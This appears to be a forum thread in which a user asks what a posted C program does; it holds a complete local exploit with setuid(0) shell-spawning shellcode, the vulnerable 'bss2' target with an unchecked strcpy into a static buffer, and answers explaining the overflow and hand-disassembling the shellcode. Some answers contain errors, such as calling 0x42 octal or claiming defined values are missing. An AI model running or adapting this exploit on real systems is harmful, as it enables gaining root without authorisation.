What is this programe doing?

#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={"./bss2",buf,NULL};
    char *envir[]={"Bytes=2Lu",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}

what'开发者_如何学Cs those memcpy and memset before execve doing?How is it affecting the programe proc?

UPDATE code for bss2

#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, "%s", string);
}

UPDATE

Seems now the problem boils down to where environment variables are located?

The code is constructing an argument string and an environment (as in, the place where environment variables live). The argument contains "./bss2" in argv[0], and a string of 256 B characters followed by a return address in argv[1]. The envir onment contains a dummy variable in the first location, and the shellcode in the second location.

Presumably, the target application bss2 contains a variable char x[256];, which it copies argv[1] into without bounds checking. This causes the function return address to be overwritten by the return address calculated in ret_addr, which hopefully points into the environment block.

Seems strange to me, because buf argument is not null-terminated.

Well, memset and memcpy do some hack with the first program argument, and then execve launches it. Sorry, cannot say more...

I'm not an expert, but it looks like it's trying to run some exploit.

Indicators include the identifier shellcode, manipulating the arguments to another executable with memset/memcpy and calculating some ret_addr value.

It seems like there are some items that are not defined by the code that you posted. Is shellcode defined as a macro or something? The value bufsize is also not known.

The memset call seems to initialize the buffer buf with the octal value 0x42.

The memcpy call appears to be inserting an address at the end of buf.

As mentioned, this buffer (buf) is ultimately being passed as an argument to the bss2 process.

It is failing to compile because bufsize and shellcode are undefined.

More seriously it looks like it is trying to exploit a buffer overrun or similar on shell command called bss2.

As an exercise for myself, I started disassembling the shellcode by hand. I got as far as:

XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx+23]  #load 23 into eax
INT 0x80      #do a system call

I got bored after that, but system call 23 in linux for the INT 0x80 calls is the sys_setuid, so it looks like it's code to set the UID to 0, or get root. Not surprising, since it's shell code. :-)